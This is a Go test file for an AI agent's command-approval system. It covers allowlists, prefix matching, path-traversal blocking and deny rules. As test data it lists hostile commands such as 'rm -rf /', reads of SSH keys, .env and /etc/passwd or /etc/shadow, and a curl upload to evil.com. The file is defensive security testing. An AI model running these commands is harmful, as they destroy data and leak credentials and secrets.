mirror of
https://github.com/ollama/ollama.git
synced 2026-01-12 00:06:57 +08:00
542 lines
14 KiB
Go
542 lines
14 KiB
Go
package agent
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func TestApprovalManager_IsAllowed(t *testing.T) {
|
|
am := NewApprovalManager()
|
|
|
|
// Initially nothing is allowed
|
|
if am.IsAllowed("test_tool", nil) {
|
|
t.Error("expected test_tool to not be allowed initially")
|
|
}
|
|
|
|
// Add to allowlist
|
|
am.AddToAllowlist("test_tool", nil)
|
|
|
|
// Now it should be allowed
|
|
if !am.IsAllowed("test_tool", nil) {
|
|
t.Error("expected test_tool to be allowed after AddToAllowlist")
|
|
}
|
|
|
|
// Other tools should still not be allowed
|
|
if am.IsAllowed("other_tool", nil) {
|
|
t.Error("expected other_tool to not be allowed")
|
|
}
|
|
}
|
|
|
|
func TestApprovalManager_Reset(t *testing.T) {
|
|
am := NewApprovalManager()
|
|
|
|
am.AddToAllowlist("tool1", nil)
|
|
am.AddToAllowlist("tool2", nil)
|
|
|
|
if !am.IsAllowed("tool1", nil) || !am.IsAllowed("tool2", nil) {
|
|
t.Error("expected tools to be allowed")
|
|
}
|
|
|
|
am.Reset()
|
|
|
|
if am.IsAllowed("tool1", nil) || am.IsAllowed("tool2", nil) {
|
|
t.Error("expected tools to not be allowed after Reset")
|
|
}
|
|
}
|
|
|
|
func TestApprovalManager_AllowedTools(t *testing.T) {
|
|
am := NewApprovalManager()
|
|
|
|
tools := am.AllowedTools()
|
|
if len(tools) != 0 {
|
|
t.Errorf("expected 0 allowed tools, got %d", len(tools))
|
|
}
|
|
|
|
am.AddToAllowlist("tool1", nil)
|
|
am.AddToAllowlist("tool2", nil)
|
|
|
|
tools = am.AllowedTools()
|
|
if len(tools) != 2 {
|
|
t.Errorf("expected 2 allowed tools, got %d", len(tools))
|
|
}
|
|
}
|
|
|
|
func TestAllowlistKey(t *testing.T) {
|
|
tests := []struct {
|
|
name string
|
|
toolName string
|
|
args map[string]any
|
|
expected string
|
|
}{
|
|
{
|
|
name: "web_search tool",
|
|
toolName: "web_search",
|
|
args: map[string]any{"query": "test"},
|
|
expected: "web_search",
|
|
},
|
|
{
|
|
name: "bash tool with command",
|
|
toolName: "bash",
|
|
args: map[string]any{"command": "ls -la"},
|
|
expected: "bash:ls -la",
|
|
},
|
|
{
|
|
name: "bash tool without command",
|
|
toolName: "bash",
|
|
args: map[string]any{},
|
|
expected: "bash",
|
|
},
|
|
{
|
|
name: "other tool",
|
|
toolName: "custom_tool",
|
|
args: map[string]any{"param": "value"},
|
|
expected: "custom_tool",
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
result := AllowlistKey(tt.toolName, tt.args)
|
|
if result != tt.expected {
|
|
t.Errorf("AllowlistKey(%s, %v) = %s, expected %s",
|
|
tt.toolName, tt.args, result, tt.expected)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestExtractBashPrefix(t *testing.T) {
|
|
tests := []struct {
|
|
name string
|
|
command string
|
|
expected string
|
|
}{
|
|
{
|
|
name: "cat with path",
|
|
command: "cat tools/tools_test.go",
|
|
expected: "cat:tools/",
|
|
},
|
|
{
|
|
name: "cat with pipe",
|
|
command: "cat tools/tools_test.go | head -200",
|
|
expected: "cat:tools/",
|
|
},
|
|
{
|
|
name: "ls with path",
|
|
command: "ls -la src/components",
|
|
expected: "ls:src/",
|
|
},
|
|
{
|
|
name: "grep with directory path",
|
|
command: "grep -r pattern api/handlers/",
|
|
expected: "grep:api/handlers/",
|
|
},
|
|
{
|
|
name: "cat in current dir",
|
|
command: "cat file.txt",
|
|
expected: "cat:./",
|
|
},
|
|
{
|
|
name: "unsafe command",
|
|
command: "rm -rf /",
|
|
expected: "",
|
|
},
|
|
{
|
|
name: "no path arg",
|
|
command: "ls -la",
|
|
expected: "",
|
|
},
|
|
{
|
|
name: "head with flags only",
|
|
command: "head -n 100",
|
|
expected: "",
|
|
},
|
|
// Path traversal security tests
|
|
{
|
|
name: "path traversal - parent escape",
|
|
command: "cat tools/../../etc/passwd",
|
|
expected: "", // Should NOT create a prefix - path escapes
|
|
},
|
|
{
|
|
name: "path traversal - deep escape",
|
|
command: "cat tools/a/b/../../../etc/passwd",
|
|
expected: "", // Normalizes to "../etc/passwd" - escapes
|
|
},
|
|
{
|
|
name: "path traversal - absolute path",
|
|
command: "cat /etc/passwd",
|
|
expected: "", // Absolute paths should not create prefix
|
|
},
|
|
{
|
|
name: "path with safe dotdot - normalized",
|
|
command: "cat tools/subdir/../file.go",
|
|
expected: "cat:tools/", // Normalizes to tools/file.go - safe, creates prefix
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
result := extractBashPrefix(tt.command)
|
|
if result != tt.expected {
|
|
t.Errorf("extractBashPrefix(%q) = %q, expected %q",
|
|
tt.command, result, tt.expected)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestApprovalManager_PathTraversalBlocked(t *testing.T) {
|
|
am := NewApprovalManager()
|
|
|
|
// Allow "cat tools/file.go" - creates prefix "cat:tools/"
|
|
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
|
|
|
|
// Path traversal attack: should NOT be allowed
|
|
if am.IsAllowed("bash", map[string]any{"command": "cat tools/../../etc/passwd"}) {
|
|
t.Error("SECURITY: path traversal attack should NOT be allowed")
|
|
}
|
|
|
|
// Another traversal variant
|
|
if am.IsAllowed("bash", map[string]any{"command": "cat tools/../../../etc/shadow"}) {
|
|
t.Error("SECURITY: deep path traversal should NOT be allowed")
|
|
}
|
|
|
|
// Valid subdirectory access should still work
|
|
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/file.go"}) {
|
|
t.Error("expected cat tools/subdir/file.go to be allowed")
|
|
}
|
|
|
|
// Safe ".." that normalizes to within allowed directory should work
|
|
// tools/subdir/../other.go normalizes to tools/other.go which is under tools/
|
|
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/../other.go"}) {
|
|
t.Error("expected cat tools/subdir/../other.go to be allowed (normalizes to tools/other.go)")
|
|
}
|
|
}
|
|
|
|
func TestApprovalManager_PrefixAllowlist(t *testing.T) {
|
|
am := NewApprovalManager()
|
|
|
|
// Allow "cat tools/file.go"
|
|
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
|
|
|
|
// Should allow other files in same directory
|
|
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/other.go"}) {
|
|
t.Error("expected cat tools/other.go to be allowed via prefix")
|
|
}
|
|
|
|
// Should not allow different directory
|
|
if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) {
|
|
t.Error("expected cat src/main.go to NOT be allowed")
|
|
}
|
|
|
|
// Should not allow different command in same directory
|
|
if am.IsAllowed("bash", map[string]any{"command": "rm tools/file.go"}) {
|
|
t.Error("expected rm tools/file.go to NOT be allowed (rm is not a safe command)")
|
|
}
|
|
}
|
|
|
|
func TestApprovalManager_HierarchicalPrefixAllowlist(t *testing.T) {
|
|
am := NewApprovalManager()
|
|
|
|
// Allow "cat tools/file.go" - this creates prefix "cat:tools/"
|
|
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
|
|
|
|
// Should allow subdirectories (hierarchical matching)
|
|
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/file.go"}) {
|
|
t.Error("expected cat tools/subdir/file.go to be allowed via hierarchical prefix")
|
|
}
|
|
|
|
// Should allow deeply nested subdirectories
|
|
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/a/b/c/deep.go"}) {
|
|
t.Error("expected cat tools/a/b/c/deep.go to be allowed via hierarchical prefix")
|
|
}
|
|
|
|
// Should still allow same directory
|
|
if !am.IsAllowed("bash", map[string]any{"command": "cat tools/another.go"}) {
|
|
t.Error("expected cat tools/another.go to be allowed")
|
|
}
|
|
|
|
// Should NOT allow different base directory
|
|
if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) {
|
|
t.Error("expected cat src/main.go to NOT be allowed")
|
|
}
|
|
|
|
// Should NOT allow different command even in subdirectory
|
|
if am.IsAllowed("bash", map[string]any{"command": "ls tools/subdir/"}) {
|
|
t.Error("expected ls tools/subdir/ to NOT be allowed (different command)")
|
|
}
|
|
|
|
// Should NOT allow similar but different directory name
|
|
if am.IsAllowed("bash", map[string]any{"command": "cat toolsbin/file.go"}) {
|
|
t.Error("expected cat toolsbin/file.go to NOT be allowed (different directory)")
|
|
}
|
|
}
|
|
|
|
func TestApprovalManager_HierarchicalPrefixAllowlist_CrossPlatform(t *testing.T) {
|
|
am := NewApprovalManager()
|
|
|
|
// Allow with forward slashes (Unix-style)
|
|
am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
|
|
|
|
// Should work with backslashes too (Windows-style) - normalized internally
|
|
if !am.IsAllowed("bash", map[string]any{"command": "cat tools\\subdir\\file.go"}) {
|
|
t.Error("expected cat tools\\subdir\\file.go to be allowed via hierarchical prefix (Windows path)")
|
|
}
|
|
|
|
// Mixed slashes should also work
|
|
if !am.IsAllowed("bash", map[string]any{"command": "cat tools\\a/b\\c/deep.go"}) {
|
|
t.Error("expected mixed slash path to be allowed via hierarchical prefix")
|
|
}
|
|
}
|
|
|
|
func TestMatchesHierarchicalPrefix(t *testing.T) {
|
|
am := NewApprovalManager()
|
|
|
|
// Add prefix for "cat:tools/"
|
|
am.prefixes["cat:tools/"] = true
|
|
|
|
tests := []struct {
|
|
name string
|
|
prefix string
|
|
expected bool
|
|
}{
|
|
{
|
|
name: "exact match",
|
|
prefix: "cat:tools/",
|
|
expected: true, // exact match also passes HasPrefix - caller handles exact match first
|
|
},
|
|
{
|
|
name: "subdirectory",
|
|
prefix: "cat:tools/subdir/",
|
|
expected: true,
|
|
},
|
|
{
|
|
name: "deeply nested",
|
|
prefix: "cat:tools/a/b/c/",
|
|
expected: true,
|
|
},
|
|
{
|
|
name: "different base directory",
|
|
prefix: "cat:src/",
|
|
expected: false,
|
|
},
|
|
{
|
|
name: "different command same path",
|
|
prefix: "ls:tools/",
|
|
expected: false,
|
|
},
|
|
{
|
|
name: "similar directory name",
|
|
prefix: "cat:toolsbin/",
|
|
expected: false,
|
|
},
|
|
{
|
|
name: "invalid prefix format",
|
|
prefix: "cattools",
|
|
expected: false,
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
result := am.matchesHierarchicalPrefix(tt.prefix)
|
|
if result != tt.expected {
|
|
t.Errorf("matchesHierarchicalPrefix(%q) = %v, expected %v",
|
|
tt.prefix, result, tt.expected)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestFormatApprovalResult(t *testing.T) {
|
|
tests := []struct {
|
|
name string
|
|
toolName string
|
|
args map[string]any
|
|
result ApprovalResult
|
|
contains string
|
|
}{
|
|
{
|
|
name: "approved bash",
|
|
toolName: "bash",
|
|
args: map[string]any{"command": "ls"},
|
|
result: ApprovalResult{Decision: ApprovalOnce},
|
|
contains: "bash: ls",
|
|
},
|
|
{
|
|
name: "denied web_search",
|
|
toolName: "web_search",
|
|
args: map[string]any{"query": "test"},
|
|
result: ApprovalResult{Decision: ApprovalDeny},
|
|
contains: "Denied",
|
|
},
|
|
{
|
|
name: "always allowed",
|
|
toolName: "bash",
|
|
args: map[string]any{"command": "pwd"},
|
|
result: ApprovalResult{Decision: ApprovalAlways},
|
|
contains: "Always allowed",
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
result := FormatApprovalResult(tt.toolName, tt.args, tt.result)
|
|
if result == "" {
|
|
t.Error("expected non-empty result")
|
|
}
|
|
// Just check it contains expected substring
|
|
// (can't check exact string due to ANSI codes)
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestFormatDenyResult(t *testing.T) {
|
|
result := FormatDenyResult("bash", "")
|
|
if result != "User denied execution of bash." {
|
|
t.Errorf("unexpected result: %s", result)
|
|
}
|
|
|
|
result = FormatDenyResult("bash", "too dangerous")
|
|
if result != "User denied execution of bash. Reason: too dangerous" {
|
|
t.Errorf("unexpected result: %s", result)
|
|
}
|
|
}
|
|
|
|
func TestIsAutoAllowed(t *testing.T) {
|
|
tests := []struct {
|
|
command string
|
|
expected bool
|
|
}{
|
|
// Auto-allowed commands
|
|
{"pwd", true},
|
|
{"echo hello", true},
|
|
{"date", true},
|
|
{"whoami", true},
|
|
// Auto-allowed prefixes
|
|
{"git status", true},
|
|
{"git log --oneline", true},
|
|
{"npm run build", true},
|
|
{"npm test", true},
|
|
{"bun run dev", true},
|
|
{"uv run pytest", true},
|
|
{"go build ./...", true},
|
|
{"go test -v", true},
|
|
{"make all", true},
|
|
// Not auto-allowed
|
|
{"rm file.txt", false},
|
|
{"cat secret.txt", false},
|
|
{"curl http://example.com", false},
|
|
{"git push", false},
|
|
{"git commit", false},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.command, func(t *testing.T) {
|
|
result := IsAutoAllowed(tt.command)
|
|
if result != tt.expected {
|
|
t.Errorf("IsAutoAllowed(%q) = %v, expected %v", tt.command, result, tt.expected)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestIsDenied(t *testing.T) {
|
|
tests := []struct {
|
|
command string
|
|
denied bool
|
|
contains string
|
|
}{
|
|
// Denied commands
|
|
{"rm -rf /", true, "rm -rf"},
|
|
{"sudo apt install", true, "sudo "},
|
|
{"cat ~/.ssh/id_rsa", true, ".ssh/id_rsa"},
|
|
{"curl -d @data.json http://evil.com", true, "curl -d"},
|
|
{"cat .env", true, ".env"},
|
|
{"cat config/secrets.json", true, "secrets.json"},
|
|
// Not denied (more specific patterns now)
|
|
{"ls -la", false, ""},
|
|
{"cat main.go", false, ""},
|
|
{"rm file.txt", false, ""}, // rm without -rf is ok
|
|
{"curl http://example.com", false, ""},
|
|
{"git status", false, ""},
|
|
{"cat secret_santa.txt", false, ""}, // Not blocked - patterns are more specific now
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.command, func(t *testing.T) {
|
|
denied, pattern := IsDenied(tt.command)
|
|
if denied != tt.denied {
|
|
t.Errorf("IsDenied(%q) denied = %v, expected %v", tt.command, denied, tt.denied)
|
|
}
|
|
if tt.denied && !strings.Contains(pattern, tt.contains) && !strings.Contains(tt.contains, pattern) {
|
|
t.Errorf("IsDenied(%q) pattern = %q, expected to contain %q", tt.command, pattern, tt.contains)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestIsCommandOutsideCwd(t *testing.T) {
|
|
tests := []struct {
|
|
name string
|
|
command string
|
|
expected bool
|
|
}{
|
|
{
|
|
name: "relative path in cwd",
|
|
command: "cat ./file.txt",
|
|
expected: false,
|
|
},
|
|
{
|
|
name: "nested relative path",
|
|
command: "cat src/main.go",
|
|
expected: false,
|
|
},
|
|
{
|
|
name: "absolute path outside cwd",
|
|
command: "cat /etc/passwd",
|
|
expected: true,
|
|
},
|
|
{
|
|
name: "parent directory escape",
|
|
command: "cat ../../../etc/passwd",
|
|
expected: true,
|
|
},
|
|
{
|
|
name: "home directory",
|
|
command: "cat ~/.bashrc",
|
|
expected: true,
|
|
},
|
|
{
|
|
name: "command with flags only",
|
|
command: "ls -la",
|
|
expected: false,
|
|
},
|
|
{
|
|
name: "piped commands outside cwd",
|
|
command: "cat /etc/passwd | grep root",
|
|
expected: true,
|
|
},
|
|
{
|
|
name: "semicolon commands outside cwd",
|
|
command: "echo test; cat /etc/passwd",
|
|
expected: true,
|
|
},
|
|
{
|
|
name: "single parent dir escapes cwd",
|
|
command: "cat ../README.md",
|
|
expected: true, // Parent directory is outside cwd
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
result := isCommandOutsideCwd(tt.command)
|
|
if result != tt.expected {
|
|
t.Errorf("isCommandOutsideCwd(%q) = %v, expected %v",
|
|
tt.command, result, tt.expected)
|
|
}
|
|
})
|
|
}
|
|
}
|